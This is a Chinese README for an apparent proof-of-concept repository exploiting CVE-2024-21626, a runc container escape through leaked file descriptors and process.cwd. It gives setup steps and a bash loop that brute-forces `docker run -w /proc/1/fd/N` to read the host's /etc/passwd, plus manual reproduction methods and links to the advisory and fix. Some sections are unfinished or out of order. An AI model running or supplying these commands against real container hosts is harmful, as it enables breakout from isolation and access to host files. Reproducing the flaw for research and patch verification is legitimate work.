CVE-2024-21626-poc-research-Reappearance-andtodo利用:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
验证: 如果获取到宿主的/etc/passwd 即存在该漏洞
环境: runc: >=v1.0.0-rc93,<=1.1.11
攻击细节原理:
在 runc 受影响版本中,由于在初始化过程中泄露了部分内部文件描述符,包括对宿主的 /sys/fs/cgroup 的句柄,同时 runc 未验证最终工作目录是否位于容器的挂载命名空间。攻击者可以修改 process.cwd 配置为 /proc/self/fd/7或者将宿主机调用runc exec时--cwd参数中传入的特定路径替换为/proc/self/fd/7/符号链接,进而让容器内的进程能够访问和操作宿主机的文件系统,从而绕过了容器的隔离机制。
更多细节(gif图片):
1. 攻击者使用自制的docker-poc包进行攻击利用 [CVE-2024-21626 runc process.cwd 和泄露的 fds 容器突破 |斯尼克 (snyk.io)](https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/)
3. 该docker-image尚未在公网开源 20240201

4. 官方源码修改逻辑: [Merge pull request from GHSA-xr7r-f8xq-vfvv · opencontainers/runc@0212048 (github.com)](https://github.com/opencontainers/runc/commit/02120488a4c0fc487d1ed2867e901eeed7ce8ecf)
5. [Runc 容易受到 Process.CWD 诡计和泄露的 FDS 的容器突破 ·CVE-2024-21626 ·GitHub 咨询数据库](https://github.com/advisories/GHSA-xr7r-f8xq-vfvv)
CVE: [CVE - CVE-2024-21626 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-21626)
此漏洞的挖掘商: [CVE-2024-21626 runc process.cwd 和泄露的 fds 容器突破 |斯尼克 (snyk.io)](https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/)

实际的 fd 可能根据文件打开顺序而改变 可以使用以下脚本爆破使用
///
#!/bin/bash
for i in {3..10}
do
# 使用变量构造工作目录,并运行容器
docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd
done
///
本地测试成功:
fd/9 实现 runc-version: 1.1.10 1.1.2

runc --version 为1.0.0时

runc --version 为1.1.4时 fd/8实现

今天刚出的洞
下面讲一下更多细节
可以有以下方法复现
1. runc - input 手动断点编译
2. ebpf监听runc打断点
3. runc create demo
runc exec demo ls /proc/1/fd -a 可以直接看到对应的符号链接
4. docker run -w /proc/1/fd/0-10 ubuntu cat ../../../../../etc/passwd 爆破
todo:
runc 断点获取df好实现自动化
[4.0K] /data/pocs/38f31bd558ee6280f16e703993700d66eb2d0d2d
├── [ 933] docker-compose.yml
└── [2.9K] README.md
0 directories, 2 files